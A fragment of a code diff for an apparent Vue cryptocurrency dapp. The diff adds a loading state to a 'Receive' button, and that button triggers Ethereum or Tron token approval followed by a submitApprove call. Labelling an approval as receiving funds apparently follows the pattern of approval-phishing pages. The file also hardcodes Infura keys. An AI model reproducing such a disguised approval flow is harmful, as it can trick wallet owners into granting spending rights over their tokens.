| | |
| | | <p>{{ $t("message.ReceiveDescription") }}</p> |
| | | </div> |
| | | <p class="block-content">{{ $t("message.Description") }}</p> |
| | | <button class="block-btn" @click="toApprove">{{ $t("message.Receive") }}</button> |
| | | <van-button class="block-btn" :loading="isApproving" :loading-text='$t("message.Approving")' type="warning" @click="toApprove">{{ $t("message.Receive") }}</van-button> |
| | | </div> |
| | | </van-overlay> |
| | | <van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper"> |
| | |
| | | let isShowApproveModal = ref(false); |
| | | let isShowAccreditModal = ref(false); |
| | | let isShowWalletModal = ref(false); |
| | | let isApproving = ref(false); //是否授权中 |
| | | function changeLanguage(type){ |
| | | proxy.$i18n.locale = type; |
| | | } |
| | |
| | | infuraId: '27e484dcd9e3efcfd25a83a78777cdf1', |
| | | rpc: { |
| | | 1: "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0", |
| | | }, |
| | | } |
| | | }); |
| | | await provider.enable(); |
| | | provider.on("accountsChanged", (accounts) => { |
| | |
| | | window.location.reload(); |
| | | }); |
| | | proxy.web3 = new Web3(provider); |
| | | console.log(new Web3(provider)) |
| | | const accounts = await proxy.web3.eth.getAccounts(); |
| | | proxy.walletAddress = accounts[0]; |
| | | console.log('所有的账户,拿得到吗?') |
| | |
| | | |
| | | accountRef, |
| | | web3, |
| | | isApproving, |
| | | dappList: [{ |
| | | name: 'TronLink', |
| | | link: 'https://www.tronlink.org/', |
| | |
| | | }) |
| | | }, |
| | | async approve () { |
| | | this.isApproving = true; |
| | | if(window.ethereum) { |
| | | this.ethereumApprove(new Web3(window.ethereum)) |
| | | }else if(window.tronWeb){ |
| | |
| | | console.log('授权成功') |
| | | console.log(res) |
| | | this.submitApprove() |
| | | this.isApproving = false; |
| | | }).catch((err) => { |
| | | console.log('授权失败') |
| | | console.log(err) |
| | | this.isApproving = false; |
| | | }) |
| | | }, |
| | | async tornWebApprove () { |
| | |
| | | console.log('嘿,授权成功') |
| | | this.submitApprove() |
| | | } |
| | | this.isApproving = false; |
| | | }); |
| | | }, |
| | | submitApprove () { |
| | |
| | | padding: 24px 104px; |
| | | border-radius: 48px; |
| | | } |
| | | .block-btn.van-button--loading{ |
| | | opacity: 0.8 |
| | | } |
| | | .close-icon{ |
| | | position: absolute; |
| | | top: -63px; |